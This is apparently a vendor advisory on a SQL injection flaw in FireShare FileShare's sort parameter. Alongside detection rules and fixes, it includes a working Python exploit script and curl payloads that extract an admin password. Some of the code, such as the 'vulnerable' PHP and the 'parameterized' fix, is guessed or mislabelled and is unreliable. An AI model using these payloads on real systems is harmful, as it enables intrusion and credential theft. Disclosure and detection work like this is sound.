CVE-2025-55476

Executive Summary

CVE-2025-55476 is a critical time-based blind SQL injection vulnerability discovered in FireShare FileShare version 1.2.25. The flaw resides in the sort parameter of the /api/videos/public endpoint. An attacker can inject arbitrary SQL subqueries into the ORDER BY clause without proper sanitization, leading to potential data exfiltration, authentication bypass, or full database compromise. The vulnerability is unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is critical (CVSS 9.8). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public disclosure of the vulnerability increases risk.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the FireShare FileShare software. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Service disruption possible via heavy queries.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability exists in the GET /api/videos/public?sort= endpoint. The sort parameter is directly concatenated into a SQL ORDER BY clause without any sanitization or parameterization. This allows an attacker to inject arbitrary SQL subqueries, enabling time-based blind SQL injection.

Technical Details:

• The application uses a backend SQL database (likely MySQL or PostgreSQL).
• The sort parameter is expected to be a column name (e.g., title, date).
• The code likely does: ORDER BY " . $_GET['sort'] . " without escaping.
• An attacker can inject: (CASE WHEN (condition) THEN SLEEP(5) ELSE 0 END) to perform time-based inference.
• This allows extraction of database contents character by character.

Example Payload:

GET /api/videos/public?sort=(CASE%20WHEN%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20users%20LIMIT%201)='a'%20THEN%20SLEEP(5)%20ELSE%200%20END)

Vulnerable vs. Patched Code

Vulnerable Code (FireShare FileShare 1.2.25):

// Vulnerable: Direct concatenation
$sort = $_GET['sort'];
$query = "SELECT * FROM videos ORDER BY " . $sort;
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// Patched: Whitelist allowed columns
$allowedSorts = ['title', 'date', 'views', 'likes'];
$sort = $_GET['sort'];
if (in_array($sort, $allowedSorts)) {
    $query = "SELECT * FROM videos ORDER BY " . $sort;
} else {
    $query = "SELECT * FROM videos ORDER BY title";
}
$result = mysqli_query($conn, $query);

Alternative Patched Code (Parameterized):

// Patched: Use parameterized query with dynamic column mapping
$sortMap = ['title' => 'title', 'date' => 'created_at'];
$sort = $sortMap[$_GET['sort']] ?? 'title';
$query = "SELECT * FROM videos ORDER BY $sort";
$result = mysqli_query($conn, $query);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with requests library.
• Target running FireShare FileShare 1.2.25.

Exploit Script (time-based blind SQLi):

import requests
import time

target = "http://target.com/api/videos/public"
payload_template = "(CASE WHEN (SELECT SUBSTRING({column},{pos},1) FROM {table} LIMIT 1)='{char}' THEN SLEEP(5) ELSE 0 END)"

def extract_data(column, table, length):
    extracted = ""
    for pos in range(1, length+1):
        for char in "abcdefghijklmnopqrstuvwxyz0123456789":
            payload = payload_template.format(column=column, pos=pos, table=table, char=char)
            start = time.time()
            r = requests.get(target, params={"sort": payload})
            elapsed = time.time() - start
            if elapsed > 4.5:  # SLEEP(5) triggered
                extracted += char
                print(f"Found char {pos}: {char}")
                break
    return extracted

# Example: Extract admin password from users table
password = extract_data("password", "users", 32)
print(f"Admin password: {password}")

Manual Exploitation with curl:

# Test if vulnerable (delay if condition true)
curl "http://target.com/api/videos/public?sort=(CASE%20WHEN%201=1%20THEN%20SLEEP(5)%20ELSE%200%20END)"

# Extract first character of admin password
curl "http://target.com/api/videos/public?sort=(CASE%20WHEN%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20users%20LIMIT%201)='a'%20THEN%20SLEEP(5)%20ELSE%200%20END)"

Blue Team

Detection Steps:

1. Monitor for abnormal response times in /api/videos/public endpoint.
2. Look for sort parameter containing SQL keywords (SLEEP, CASE, WHEN, SELECT, SUBSTRING).
3. Alert on requests with sort parameter longer than expected (e.g., >50 characters).
4. Correlate multiple requests with varying sort values and consistent delays.

Log Analysis:

# Search for suspicious sort parameters in access logs
grep -E "sort=.*(SLEEP|CASE|WHEN|SELECT|SUBSTRING)" /var/log/nginx/access.log

# Identify requests with high response times
awk '{if ($NF > 5) print $0}' /var/log/nginx/access.log | grep "/api/videos/public"

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /api/videos/public with sort parameter containing SQL keywords.
• Unusually high response times (>5 seconds) for the vulnerable endpoint.
• Repeated requests with incremental character testing in sort parameter.

File IOCs:

• Log entries showing sort parameter with SLEEP, CASE, WHEN, SELECT, SUBSTRING.
• Database query logs showing abnormal ORDER BY clauses.

Behavioral IOCs:

• Multiple requests from same IP with varying sort values.
• Requests spaced by consistent time intervals (e.g., 5 seconds) for blind injection.

Detection Engineering

YARA Rule

rule CVE_2025_55476_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-55476 in FireShare FileShare"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55476"
    strings:
        $sqli1 = /sort=.*(?:SLEEP|CASE|WHEN|SELECT|SUBSTRING)/i
        $sqli2 = /sort=.*(?:%28|%29|%27|%22)/i  // encoded parentheses and quotes
        $sqli3 = /sort=.*(?:0x[0-9a-f]+)/i       // hex encoding
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-55476 - FireShare FileShare SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the sort parameter in FireShare FileShare
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-query|contains: 
            - "sort=(CASE"
            - "sort=(SELECT"
            - "sort=SLEEP"
            - "sort=SUBSTRING"
    condition: selection
falsepositives:
    - Legitimate use of column names containing these strings (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-55476 - FireShare FileShare SQL Injection Attempt";
    flow:to_server,established;
    content:"/api/videos/public";
    http_uri;
    content:"sort=";
    http_uri;
    pcre:"/sort=(CASE|SELECT|SLEEP|SUBSTRING)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-55476;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block /api/videos/public at the web server level.
2. Apply input validation: Whitelist allowed sort columns (e.g., title, date, views).
3. Use parameterized queries: Replace dynamic SQL with prepared statements.
4. Upgrade: Monitor vendor for patches; if none, consider migrating to alternative software.

Long-term Fixes:

• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Conduct code review for all SQL queries.
• Deploy runtime application self-protection (RASP) tools.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/api/videos/public" "chain,id:1001,phase:2,t:none,block,msg:'SQL Injection Attempt'"
SecRule ARGS:sort "@rx (CASE|SELECT|SLEEP|SUBSTRING)" "t:none"

Valters IT
Securing Digital Frontiers